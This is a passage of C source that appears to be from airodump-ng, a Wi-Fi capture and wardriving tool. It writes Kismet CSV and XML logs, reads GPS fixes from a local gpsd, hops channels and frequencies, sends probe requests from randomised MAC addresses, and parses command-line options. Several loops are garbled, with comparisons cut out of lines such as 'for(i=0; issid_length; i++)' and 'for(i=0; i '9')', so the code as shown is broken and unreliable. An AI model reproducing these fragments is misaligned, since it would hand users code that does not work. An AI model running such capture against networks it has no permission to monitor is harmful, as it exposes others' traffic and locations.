"\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\n", 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 ); } fprintf(G.f_kis_xml, "\t\t0\n"); /* CDP information */ fprintf(G.f_kis_xml, "\t\t\n" "\t\t\n"); /* Write client information */ dump_write_kismet_netxml_client_info(st_cur, 1); fprintf(G.f_kis_xml, "\t"); } st_cur = st_cur->next; } /* TODO: Also go through na_1st */ /* Trailing */ fprintf( G.f_kis_xml, "%s\n", KISMET_NETXML_TRAILER ); fflush( G.f_kis_xml ); /* Sometimes there can be crap at the end of the file, so truncating is a good idea. XXX: Is this really correct, I hope fileno() won't have any side effect */ unused = ftruncate(fileno(G.f_kis_xml), ftell( G.f_kis_xml ) ); return 0; } #undef TIME_STR_LENGTH #define KISMET_HEADER "Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;GPSBestLon;GPSBestAlt;DataSize;IPType;IP;\n" int dump_write_kismet_csv( void ) { int i, k; // struct tm *ltime; /* char ssid_list[512];*/ struct AP_info *ap_cur; if (! G.record_data || !G.output_format_kismet_csv) return 0; fseek( G.f_kis, 0, SEEK_SET ); fprintf( G.f_kis, KISMET_HEADER ); ap_cur = G.ap_1st; k=1; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2) { ap_cur = ap_cur->next; continue; } //Network fprintf( G.f_kis, "%d;", k ); //NetType fprintf( G.f_kis, "infrastructure;"); //ESSID for(i=0; issid_length; i++) { fprintf( G.f_kis, "%c", ap_cur->essid[i] ); } fprintf( G.f_kis, ";" ); //BSSID fprintf( G.f_kis, "%02X:%02X:%02X:%02X:%02X:%02X;", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); //Info fprintf( G.f_kis, ";"); //Channel fprintf( G.f_kis, "%d;", ap_cur->channel); //Cloaked fprintf( G.f_kis, "No;"); //Encryption if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) != 0) { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_kis, "WPA2," ); if( ap_cur->security & STD_WPA ) fprintf( G.f_kis, "WPA," ); if( ap_cur->security & STD_WEP ) fprintf( G.f_kis, "WEP," ); if( ap_cur->security & STD_OPN ) fprintf( G.f_kis, "OPN," ); } if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_kis, "None,"); else { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_kis, "AES-CCM,"); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_kis, "WRAP,"); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_kis, "TKIP,"); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis, "WEP104,"); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_kis, "WEP40,"); /* if( ap_cur->security & ENC_WEP ) fprintf( G.f_kis, " WEP,");*/ } fseek(G.f_kis, -1, SEEK_CUR); fprintf(G.f_kis, ";"); //Decrypted fprintf( G.f_kis, "No;"); //MaxRate fprintf( G.f_kis, "%d.0;", ap_cur->max_speed ); //MaxSeenRate fprintf( G.f_kis, "0;"); //Beacon fprintf( G.f_kis, "%ld;", ap_cur->nb_bcn); //LLC fprintf( G.f_kis, "0;"); //Data fprintf( G.f_kis, "%ld;", ap_cur->nb_data ); //Crypt fprintf( G.f_kis, "0;"); //Weak fprintf( G.f_kis, "0;"); //Total fprintf( G.f_kis, "%ld;", ap_cur->nb_data ); //Carrier fprintf( G.f_kis, ";"); //Encoding fprintf( G.f_kis, ";"); //FirstTime fprintf( G.f_kis, "%s", ctime(&ap_cur->tinit) ); fseek(G.f_kis, -1, SEEK_CUR); fprintf( G.f_kis, ";"); //LastTime fprintf( G.f_kis, "%s", ctime(&ap_cur->tlast) ); fseek(G.f_kis, -1, SEEK_CUR); fprintf( G.f_kis, ";"); //BestQuality fprintf( G.f_kis, "%d;", ap_cur->avg_power ); //BestSignal fprintf( G.f_kis, "0;" ); //BestNoise fprintf( G.f_kis, "0;" ); //GPSMinLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[0]); //GPSMinLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[1]); //GPSMinAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[2]); //GPSMinSpd fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[3]); //GPSMaxLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[0]); //GPSMaxLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[1]); //GPSMaxAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[2]); //GPSMaxSpd fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[3]); //GPSBestLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[0]); //GPSBestLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[1]); //GPSBestAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[2]); //DataSize fprintf( G.f_kis, "0;" ); //IPType fprintf( G.f_kis, "0;" ); //IP fprintf( G.f_kis, "%d.%d.%d.%d;", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); fprintf( G.f_kis, "\r\n"); ap_cur = ap_cur->next; k++; } fflush( G.f_kis ); return 0; } /* See if a string contains a character in the first "n" bytes. * * Returns a pointer to the first occurrence of the character, or NULL * if the character is not present in the string. * * Breaks the str* naming convention to avoid a name collision if we're * compiling on a system that has strnchr() */ static char *strchr_n(char *str, int c, size_t n) { size_t count = 0; if (str == NULL || n == 0) { return NULL; } while(*str != c && *str != '\0' && count < n) { str++; count++; } return (*str == c) ? str : NULL; } /* Read at least one full line from the network. * * Returns the amount of data in the buffer on success, 0 on connection * closed, or a negative value on error. * * If the return value is >0, the buffer contains at least one newline * character. If the return value is <= 0, the contents of the buffer * are undefined. */ static int read_line(int sock, char *buffer, int pos, int size) { int status = 1; if (pos < 0 || size < 1 || pos >= size || buffer == NULL || sock < 0) { return -1; } while(strchr_n(buffer, 0x0A, pos) == NULL && status > 0 && pos < size ) { status = recv(sock, buffer+pos, size-pos, 0); if(status > 0) { pos += status; } } if(status <= 0) { return status; } else if(pos == size && strchr_n(buffer, 0x0A, pos) == NULL) { return -1; } return pos; } /* Remove a newline-terminated block of data from a buffer, replacing * the newline with a '\0'. * * Returns the number of characters left in the buffer, or -1 if the * buffer did not contain a newline. */ static int get_line_from_buffer(char *buffer, int size, char *line) { char *cursor = strchr_n(buffer, 0x0A, size); if(NULL != cursor) { *cursor = '\0'; cursor++; strcpy(line, buffer); memmove(buffer, cursor, size - (strlen(line) + 1)); return size - (strlen(line) + 1); } return -1; } /* Extract a name:value pair from a null-terminated line of JSON. * * Returns 1 if the name was found, or 0 otherwise. * * The string in "value" is null-terminated if the name was found. If * the name was not found, the contents of "value" are undefined. */ static int json_get_value_for_name( const char *buffer, const char *name, char *value ) { char * to_find; char *cursor; size_t to_find_len; char *vcursor = value; int ret = 0; if (buffer == NULL || strlen(buffer) == 0 || name == NULL || strlen(name) == 0 || value == NULL) { return 0; } to_find_len = strlen(name) + 3; to_find = (char*) malloc(to_find_len); snprintf(to_find, to_find_len, "\"%s\"", name); cursor = strstr(buffer, to_find); free(to_find); if(cursor != NULL) { cursor += to_find_len -1; while(*cursor != ':' && *cursor != '\0') { cursor++; } if(*cursor != '\0') { cursor++; while(isspace((int)(*cursor)) && *cursor != '\0') { cursor++; } } if('\0' == *cursor) { return 0; } if('"' == *cursor) { /* Quoted string */ cursor++; while(*cursor != '"' && *cursor != '\0') { if('\\' == *cursor && '"' == *(cursor+1)) { /* Escaped quote */ *vcursor = '"'; cursor++; } else { *vcursor = *cursor; } vcursor++; cursor++; } *vcursor = '\0'; ret = 1; } else if(strncmp(cursor, "true", 4) == 0) { /* Boolean */ strcpy(value, "true"); ret = 1; } else if(strncmp(cursor, "false", 5) == 0) { /* Boolean */ strcpy(value, "false"); ret = 1; } else if('{' == *cursor || '[' == *cursor) { /* Object or array. Too hard to handle and not needed for * getting coords from GPSD, so pretend we didn't see anything. */ ret = 0; } else { /* Number, supposedly. Copy as-is. */ while(*cursor != ',' && *cursor != '}' && !isspace((int)(*cursor))) { *vcursor = *cursor; cursor++; vcursor++; } *vcursor = '\0'; ret = 1; } } return ret; } void gps_tracker(pid_t parent) { ssize_t unused; int gpsd_sock; char line[1537], buffer[1537], data[1537]; char *temp; struct sockaddr_in gpsd_addr; int ret, is_json, pos; int mode; fd_set read_fd; struct timeval timeout; memset(line, 0, 1537); memset(buffer, 0, 1537); memset(data, 0, 1537); /* attempt to connect to localhost, port 2947 */ pos = 0; gpsd_sock = socket( AF_INET, SOCK_STREAM, 0 ); if( gpsd_sock < 0 ) { return; } gpsd_addr.sin_family = AF_INET; gpsd_addr.sin_port = htons( 2947 ); gpsd_addr.sin_addr.s_addr = inet_addr( "127.0.0.1" ); if( connect( gpsd_sock, (struct sockaddr *) &gpsd_addr, sizeof( gpsd_addr ) ) < 0 ) { close(gpsd_sock); return; } // Check if it's GPSd < 2.92 or the new one // 2.92+ immediately sends version information // < 2.92 requires to send PVTAD command FD_ZERO(&read_fd); FD_SET(gpsd_sock, &read_fd); timeout.tv_sec = 1; timeout.tv_usec = 0; is_json = select(gpsd_sock + 1, &read_fd, NULL, NULL, &timeout); if (is_json > 0) { /* Probably JSON. Read the first line and verify it's a version of the protocol we speak. */ if((pos = read_line(gpsd_sock, buffer, 0, sizeof(buffer))) <= 0) return; pos = get_line_from_buffer(buffer, pos, line); is_json = (json_get_value_for_name(line, "class", data) && strncmp(data, "VERSION", 7) == 0); if (is_json) { /* Verify it's a version of the protocol we speak */ if(json_get_value_for_name(line, "proto_major", data) && data[0] != '3') { /* It's an unknown version of the protocol. Bail out. */ return; } // Send ?WATCH={"json":true}; memset(line, 0, sizeof(line)); strcpy(line, "?WATCH={\"json\":true};\n"); if(send(gpsd_sock, line, 22, 0) != 22) { return; } // Device check removed -- if there isn't a device, just // read and discard lines until the user plugs one in, at // which point GPSD will start emitting coordinates. } } else if(is_json < 0) { /* An error occurred while we were waiting for data */ return; } /* Else select() returned zero (timeout expired) and we assume we're * connected to an old-style gpsd. */ /* loop reading the GPS coordinates */ while( G.do_exit == 0 ) { usleep( 500000 ); memset( G.gps_loc, 0, sizeof( float ) * 5 ); /* read position, speed, heading, altitude */ if (is_json) { // Format definition: http://catb.org/gpsd/gpsd_json.html if( (pos = read_line(gpsd_sock, buffer, pos, sizeof(buffer))) <= 0 ) { return; } pos = get_line_from_buffer(buffer, pos, line); // See if we got a TPV report if(!json_get_value_for_name(line, "class", data) || strncmp(data, "TPV", 3) != 0) { /* Not a TPV report. Get another line. */ continue; } /* See what sort of GPS fix we got. Possibilities are: * 0: No data * 1: No fix * 2: Lat/Lon, but no alt * 3: Lat/Lon/Alt * Either 2 or 3 may also have speed and heading data. */ if(!json_get_value_for_name(line, "mode", data) || (mode = atoi(data)) < 2) { /* No GPS fix, so there are no coordinates to extract. */ continue; } /* Extract the available data from the TPV report. If we're * in mode 2, latitude and longitude are mandatory, altitude * is set to 0, and speed and heading are optional. * In mode 3, latitude, longitude, and altitude are mandatory, * while speed and heading are optional. * If we can't get a mandatory value, the line is discarded * as fragmentary or malformed. If we can't get an optional * value, we default it to 0. */ // Latitude if(!json_get_value_for_name(line, "lat", data)) continue; if(1 != sscanf(data, "%f", &G.gps_loc[0])) continue; // Longitude if(!json_get_value_for_name(line, "lon", data)) continue; if(1 != sscanf(data, "%f", &G.gps_loc[1])) continue; // Altitude if(3 == mode) { if(!json_get_value_for_name(line, "alt", data)) continue; if(1 != sscanf(data, "%f", &G.gps_loc[4])) continue; } else { G.gps_loc[4] = 0; } // Speed if(!json_get_value_for_name(line, "speed", data)) { G.gps_loc[2] = 0; } else { if(1 != sscanf(data, "%f", &G.gps_loc[2])) G.gps_loc[2] = 0; } // Heading if(!json_get_value_for_name(line, "track", data)) { G.gps_loc[3] = 0; } else { if(1 != sscanf(data, "%f", &G.gps_loc[3])) G.gps_loc[3] = 0; } } else { memset( line, 0, sizeof( line ) ); snprintf( line, sizeof( line ) - 1, "PVTAD\r\n" ); if( send( gpsd_sock, line, 7, 0 ) != 7 ) return; memset( line, 0, sizeof( line ) ); if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 ) return; if( memcmp( line, "GPSD,P=", 7 ) != 0 ) continue; /* make sure the coordinates are present */ if( line[7] == '?' ) continue; ret = sscanf( line + 7, "%f %f", &G.gps_loc[0], &G.gps_loc[1] ); if( ( temp = strstr( line, "V=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[2] ); /* speed */ if( ( temp = strstr( line, "T=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[3] ); /* heading */ if( ( temp = strstr( line, "A=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[4] ); /* altitude */ } if (G.record_data) fputs( line, G.f_gps ); G.save_gps = 1; if (G.do_exit == 0) { unused = write( G.gc_pipe[1], G.gps_loc, sizeof( float ) * 5 ); kill( parent, SIGUSR2 ); } } } void sighandler( int signum) { ssize_t unused; int card = 0; signal( signum, sighandler ); if( signum == SIGUSR1 ) { unused = read( G.cd_pipe[0], &card, sizeof(int) ); if(G.freqoption) unused = read( G.ch_pipe[0], &(G.frequency[card]), sizeof( int ) ); else unused = read( G.ch_pipe[0], &(G.channel[card]), sizeof( int ) ); } if( signum == SIGUSR2 ) unused = read( G.gc_pipe[0], &G.gps_loc, sizeof( float ) * 5 ); if( signum == SIGINT || signum == SIGTERM ) { reset_term(); alarm( 1 ); G.do_exit = 1; signal( SIGALRM, sighandler ); #if defined(__sun__) fprintf(stdout, "\n" ); #else dprintf( STDOUT_FILENO, "\n" ); #endif } if( signum == SIGSEGV ) { fprintf( stderr, "Caught signal 11 (SIGSEGV). Please" " contact the author!\33[?25h\n\n" ); fflush( stdout ); exit( 1 ); } if( signum == SIGALRM ) { #if defined(__sun__) fprintf(stdout, #else dprintf( STDERR_FILENO, #endif "Caught signal 14 (SIGALRM). Please" " contact the author!\33[?25h\n\n" ); _exit( 1 ); } if( signum == SIGCHLD ) wait( NULL ); if( signum == SIGWINCH ) { fprintf( stderr, "\33[2J" ); fflush( stdout ); } } int send_probe_request(struct wif *wi) { int len; unsigned char p[4096], r_smac[6]; memcpy(p, PROBE_REQ, 24); len = 24; p[24] = 0x00; //ESSID Tag Number p[25] = 0x00; //ESSID Tag Length len += 2; memcpy(p+len, RATES, 16); len += 16; r_smac[0] = 0x00; r_smac[1] = rand() & 0xFF; r_smac[2] = rand() & 0xFF; r_smac[3] = rand() & 0xFF; r_smac[4] = rand() & 0xFF; r_smac[5] = rand() & 0xFF; memcpy(p+10, r_smac, 6); if (wi_write(wi, p, len, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } return 0; } int send_probe_requests(struct wif *wi[], int cards) { int i=0; for(i=0; i if_num ) { while( again ) { again = 0; for( k = 0; k < ( if_num - 1 ); k++ ) { if( G.channels[ch_idx] == G.channel[k] ) { again = 1; ch_idx = chi % chan_count; chi++; } } } } } if( G.channels[ch_idx] == -1 ) { j--; cai--; dropped++; if(dropped >= chan_count) { ch = wi_get_channel(wi[card]); G.channel[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( parent, SIGUSR1 ); usleep(1000); } continue; } dropped = 0; ch = G.channels[ch_idx]; if(wi_set_channel(wi[card], ch ) == 0 ) { G.channel[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); if(G.active_scan_sim > 0) send_probe_request(wi[card]); kill( parent, SIGUSR1 ); usleep(1000); } else { G.channels[ch_idx] = -1; /* remove invalid channel */ j--; cai--; continue; } } if(G.chswitch == 0) { chi=chi-(if_num - 1); } if(first) { first = 0; } usleep( (G.hopfreq*1000) ); } exit( 0 ); } void frequency_hopper(struct wif *wi[], int if_num, int chan_count, pid_t parent) { ssize_t unused; int ch, ch_idx = 0, card=0, chi=0, cai=0, j=0, k=0, first=1, again=1; int dropped=0; while( 0 == kill(parent, 0) ) { for( j = 0; j < if_num; j++ ) { again = 1; ch_idx = chi % chan_count; card = cai % if_num; ++chi; ++cai; if( G.chswitch == 2 && !first ) { j = if_num - 1; card = if_num - 1; if( getfreqcount(1) > if_num ) { while( again ) { again = 0; for( k = 0; k < ( if_num - 1 ); k++ ) { if( G.own_frequencies[ch_idx] == G.frequency[k] ) { again = 1; ch_idx = chi % chan_count; chi++; } } } } } if( G.own_frequencies[ch_idx] == -1 ) { j--; cai--; dropped++; if(dropped >= chan_count) { ch = wi_get_freq(wi[card]); G.frequency[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( parent, SIGUSR1 ); usleep(1000); } continue; } dropped = 0; ch = G.own_frequencies[ch_idx]; if(wi_set_freq(wi[card], ch ) == 0 ) { G.frequency[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( parent, SIGUSR1 ); usleep(1000); } else { G.own_frequencies[ch_idx] = -1; /* remove invalid channel */ j--; cai--; continue; } } if(G.chswitch == 0) { chi=chi-(if_num - 1); } if(first) { first = 0; } usleep( (G.hopfreq*1000) ); } exit( 0 ); } int invalid_channel(int chan) { int i=0; do { if (chan == abg_chans[i] && chan != 0 ) return 0; } while (abg_chans[++i]); return 1; } int invalid_frequency(int freq) { int i=0; do { if (freq == frequencies[i] && freq != 0 ) return 0; } while (frequencies[++i]); return 1; } /* parse a string, for example "1,2,3-7,11" */ int getchannels(const char *optarg) { unsigned int i=0,chan_cur=0,chan_first=0,chan_last=0,chan_max=128,chan_remain=0; char *optchan = NULL, *optc; char *token = NULL; int *tmp_channels; //got a NULL pointer? if(optarg == NULL) return -1; chan_remain=chan_max; //create a writable string optc = optchan = (char*) malloc(strlen(optarg)+1); strncpy(optchan, optarg, strlen(optarg)); optchan[strlen(optarg)]='\0'; tmp_channels = (int*) malloc(sizeof(int)*(chan_max+1)); //split string in tokens, separated by ',' while( (token = strsep(&optchan,",")) != NULL) { //range defined? if(strchr(token, '-') != NULL) { //only 1 '-' ? if(strchr(token, '-') == strrchr(token, '-')) { //are there any illegal characters? for(i=0; i '9') && (token[i] != '-')) { free(tmp_channels); free(optc); return -1; } } if( sscanf(token, "%d-%d", &chan_first, &chan_last) != EOF ) { if(chan_first > chan_last) { free(tmp_channels); free(optc); return -1; } for(i=chan_first; i<=chan_last; i++) { if( (! invalid_channel(i)) && (chan_remain > 0) ) { tmp_channels[chan_max-chan_remain]=i; chan_remain--; } } } else { free(tmp_channels); free(optc); return -1; } } else { free(tmp_channels); free(optc); return -1; } } else { //are there any illegal characters? for(i=0; i '9') ) { free(tmp_channels); free(optc); return -1; } } if( sscanf(token, "%d", &chan_cur) != EOF) { if( (! invalid_channel(chan_cur)) && (chan_remain > 0) ) { tmp_channels[chan_max-chan_remain]=chan_cur; chan_remain--; } } else { free(tmp_channels); free(optc); return -1; } } } G.own_channels = (int*) malloc(sizeof(int)*(chan_max - chan_remain + 1)); for(i=0; i<(chan_max - chan_remain); i++) { G.own_channels[i]=tmp_channels[i]; } G.own_channels[i]=0; free(tmp_channels); free(optc); if(i==1) return G.own_channels[0]; if(i==0) return -1; return 0; } /* parse a string, for example "1,2,3-7,11" */ int getfrequencies(const char *optarg) { unsigned int i=0,freq_cur=0,freq_first=0,freq_last=0,freq_max=10000,freq_remain=0; char *optfreq = NULL, *optc; char *token = NULL; int *tmp_frequencies; //got a NULL pointer? if(optarg == NULL) return -1; freq_remain=freq_max; //create a writable string optc = optfreq = (char*) malloc(strlen(optarg)+1); strncpy(optfreq, optarg, strlen(optarg)); optfreq[strlen(optarg)]='\0'; tmp_frequencies = (int*) malloc(sizeof(int)*(freq_max+1)); //split string in tokens, separated by ',' while( (token = strsep(&optfreq,",")) != NULL) { //range defined? if(strchr(token, '-') != NULL) { //only 1 '-' ? if(strchr(token, '-') == strrchr(token, '-')) { //are there any illegal characters? for(i=0; i '9') && (token[i] != '-')) { free(tmp_frequencies); free(optc); return -1; } } if( sscanf(token, "%d-%d", &freq_first, &freq_last) != EOF ) { if(freq_first > freq_last) { free(tmp_frequencies); free(optc); return -1; } for(i=freq_first; i<=freq_last; i++) { if( (! invalid_frequency(i)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=i; freq_remain--; } } } else { free(tmp_frequencies); free(optc); return -1; } } else { free(tmp_frequencies); free(optc); return -1; } } else { //are there any illegal characters? for(i=0; i '9') ) { free(tmp_frequencies); free(optc); return -1; } } if( sscanf(token, "%d", &freq_cur) != EOF) { if( (! invalid_frequency(freq_cur)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=freq_cur; freq_remain--; } /* special case "-C 0" means: scan all available frequencies */ if(freq_cur == 0) { freq_first = 1; freq_last = 9999; for(i=freq_first; i<=freq_last; i++) { if( (! invalid_frequency(i)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=i; freq_remain--; } } } } else { free(tmp_frequencies); free(optc); return -1; } } } G.own_frequencies = (int*) malloc(sizeof(int)*(freq_max - freq_remain + 1)); for(i=0; i<(freq_max - freq_remain); i++) { G.own_frequencies[i]=tmp_frequencies[i]; } G.own_frequencies[i]=0; free(tmp_frequencies); free(optc); if(i==1) return G.own_frequencies[0]; //exactly 1 frequency given if(i==0) return -1; //error occured return 0; //frequency hopping } int setup_card(char *iface, struct wif **wis) { struct wif *wi; wi = wi_open(iface); if (!wi) return -1; *wis = wi; return 0; } int init_cards(const char* cardstr, char *iface[], struct wif **wi) { char *buffer; char *buf; int if_count=0; int i=0, again=0; buf = buffer = (char*) malloc( sizeof(char) * 1025 ); strncpy( buffer, cardstr, 1025 ); buffer[1024] = '\0'; while( ((iface[if_count]=strsep(&buffer, ",")) != NULL) && (if_count < MAX_CARDS) ) { again=0; for(i=0; i *fdh) *fdh = fd_raw[i]; } } return 0; } int check_channel(struct wif *wi[], int cards) { int i, chan; for(i=0; i 0) { // printf("pos: %d\n", pos); last_freq = cur_freq; cur_freq = G.own_frequencies[pos%count]; if(cur_freq == last_used) round_done=1; // printf("count: %d, left: %d, last_used: %d, cur_freq: %d, width: %d\n", count, left, last_used, cur_freq, width); if(((count-left) > 0) && !round_done && ( ABS( last_used-cur_freq ) < width ) ) { // printf("skip it!\n"); pos++; continue; } if(!array_contains( freqs, count, cur_freq)) { // printf("not in there yet: %d\n", cur_freq); freqs[count - left] = cur_freq; last_used = cur_freq; left--; round_done = 0; } pos++; } memcpy(G.own_frequencies, freqs, count*sizeof(int)); free(freqs); return 0; } int main( int argc, char *argv[] ) { long time_slept, cycle_time, cycle_time2; char * output_format_string; int caplen=0, i, j, fdh, fd_is_set, chan_count, freq_count, unused; int fd_raw[MAX_CARDS], arptype[MAX_CARDS]; int ivs_only, found; int valid_channel; int freq [2]; int num_opts = 0; int option = 0; int option_index = 0; char ifnam[64]; int wi_read_failed=0; int n = 0; int output_format_first_time = 1; #ifdef HAVE_PCRE const char *pcreerror; int pcreerroffset; #endif struct AP_info *ap_cur, *ap_prv, *ap_next; struct ST_info *st_cur, *st_next; struct NA_info *na_cur, *na_next; struct oui *oui_cur, *oui_next; struct pcap_pkthdr pkh; time_t tt1, tt2, tt3, start_time; struct wif *wi[MAX_CARDS]; struct rx_info ri; unsigned char tmpbuf[4096]; unsigned char buffer[4096]; unsigned char *h80211; char *iface[MAX_CARDS]; struct timeval tv0; struct timeval tv1; struct timeval tv2; struct timeval tv3; struct timeval tv4; struct tm *lt; /* struct sockaddr_in provis_addr; */ fd_set rfds; static struct option long_options[] = { {"band", 1, 0, 'b'}, {"beacon", 0, 0, 'e'}, {"beacons", 0, 0, 'e'}, {"cswitch", 1, 0, 's'}, {"netmask", 1, 0, 'm'}, {"bssid", 1, 0, 'd'}, {"essid", 1, 0, 'N'}, {"essid-regex", 1, 0, 'R'}, {"channel", 1, 0, 'c'}, {"gpsd", 0, 0, 'g'}, {"ivs", 0, 0, 'i'}, {"write", 1, 0, 'w'}, {"encrypt", 1, 0, 't'}, {"update", 1, 0, 'u'}, {"berlin", 1, 0, 'B'}, {"help", 0, 0, 'H'}, {"nodecloak",0, 0, 'D'}, {"showack", 0, 0, 'A'}, {"detect-anomaly", 0, 0, 'E'}, {"output-format", 1, 0, 'o'}, {"ignore-negative-one", 0, &G.ignore_negative_one, 1}, {"manufacturer", 0, 0, 'M'}, {"uptime", 0, 0, 'U'}, {"write-interval", 1, 0, 'I'}, {"wps", 0, 0, 'W'}, {0, 0, 0, 0 } }; pid_t main_pid = getpid(); #ifdef USE_GCRYPT // Register callback functions to ensure proper locking in the sensitive parts of libgcrypt < 1.6.0 #if GCRYPT_VERSION_NUMBER < 0x010600 gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread); #endif // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif pthread_mutex_init( &(G.mx_print), NULL ); pthread_mutex_init( &(G.mx_sort), NULL ); textstyle(TEXT_RESET);//(TEXT_RESET, TEXT_BLACK, TEXT_WHITE); /* initialize a bunch of variables */ srand( time( NULL ) ); memset( &G, 0, sizeof( G ) ); h80211 = NULL; ivs_only = 0; G.chanoption = 0; G.freqoption = 0; G.num_cards = 0; fdh = 0; fd_is_set = 0; chan_count = 0; time_slept = 0; G.batt = NULL; G.chswitch = 0; valid_channel = 0; G.usegpsd = 0; G.channels = bg_chans; G.one_beacon = 1; G.singlechan = 0; G.singlefreq = 0; G.dump_prefix = NULL; G.record_data = 0; G.f_cap = NULL; G.f_ivs = NULL; G.f_txt = NULL; G.f_kis = NULL; G.f_kis_xml = NULL; G.f_gps = NULL; G.keyout = NULL; G.f_xor = NULL; G.sk_len = 0; G.sk_len2 = 0; G.sk_start = 0; G.prefix = NULL; G.f_encrypt = 0; G.asso_client = 0; G.f_essid = NULL; G.f_essid_count = 0; G.active_scan_sim = 0; G.update_s = 0; G.decloak = 1; G.is_berlin = 0; G.numaps = 0; G.maxnumaps = 0; G.berlin = 120; G.show_ap = 1; G.show_sta = 1; G.show_ack = 0; G.hide_known = 0; G.maxsize_essid_seen = 5; // Initial value: length of "ESSID" G.show_manufacturer = 0; G.show_uptime = 0; G.hopfreq = DEFAULT_HOPFREQ; G.s_file = NULL; G.s_iface = NULL; G.f_cap_in = NULL; G.detect_anomaly = 0; G.airodump_start_time = NULL; G.manufList = NULL; G.output_format_pcap = 1; G.output_format_csv = 1; G.output_format_kismet_csv = 1; G.output_format_kismet_netxml = 1; G.file_write_interval = 5; // Write file every 5 seconds by default G.maxsize_wps_seen = 6; G.show_wps = 0; #ifdef HAVE_PCRE G.f_essid_regex = NULL; #endif // Default selection. resetSelection(); memset(G.sharedkey, '\x00', 512*3); memset(G.message, '\x00', sizeof(G.message)); memset(&G.pfh_in, '\x00', sizeof(struct pcap_file_header)); gettimeofday( &tv0, NULL ); lt = localtime( (time_t *) &tv0.tv_sec ); G.keyout = (char*) malloc(512); memset( G.keyout, 0, 512 ); snprintf( G.keyout, 511, "keyout-%02d%02d-%02d%02d%02d.keys", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); for(i=0; i= 3) { if(argv[i][0] == '-' && argv[i][1] != '-') { //we got a single dash followed by at least 2 chars //lets check that against our long options to find errors for(j=0; j1 && strcmp(argv[i-1], "-") == 0) { //separated dashes? printf("Notice: You specified \"%s %s\". Did you mean \"%s%s\" instead?\n", argv[i-1], argv[i], argv[i-1], argv[i]); } else { //forgot second dash? printf("Notice: You specified \"%s\". Did you mean \"-%s\" instead?\n", argv[i], argv[i]); } break; } } if(found) { sleep(3); break; } } } } do { option_index = 0; option = getopt_long( argc, argv, "b:c:egiw:s:t:u:m:d:N:R:aHDB:Ahf:r:EC:o:x:MUI:W", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':': printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?': printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'I': if (!is_string_number(optarg)) { printf("Error: Write interval is not a number (>0). Aborting.\n"); exit ( 1 ); } G.file_write_interval = atoi(optarg); if (G.file_write_interval <= 0) { printf("Error: Write interval must be greater than 0. Aborting.\n"); exit ( 1 ); } break; case 'E': G.detect_anomaly = 1; break; 